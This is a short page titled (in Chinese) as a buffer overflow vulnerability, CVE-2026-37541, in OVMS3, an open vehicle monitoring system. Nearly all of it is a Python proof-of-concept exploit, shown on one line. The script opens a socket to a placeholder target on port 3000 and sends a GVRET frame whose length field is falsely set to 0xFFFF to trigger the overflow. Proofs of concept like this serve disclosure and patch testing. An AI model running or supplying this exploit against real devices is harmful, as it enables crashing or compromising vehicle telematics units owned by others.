CVE-2026-37541 OVMS3缓冲区溢出漏洞

import socket import struct # Target IP and Port (Placeholder) TARGET_IP = "192.168.1.100" TARGET_PORT = 3000 def craft_gvret_frame(payload_length): # GVRET packet structure simulation # Length field is maliciously set to a large value to trigger overflow command = 0x08 length = payload_length # Construct header (Command + Length) header = struct.pack('<BH', command, length) # Minimal payload to trigger the copy logic payload = b'A' * 10 return header + payload def send_exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Craft a packet claiming large length (e.g., 0xFFFF) malicious_packet = craft_gvret_frame(0xFFFF) s.send(malicious_packet) print(f"[+] Malicious GVRET packet sent to {TARGET_IP}:{TARGET_PORT}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()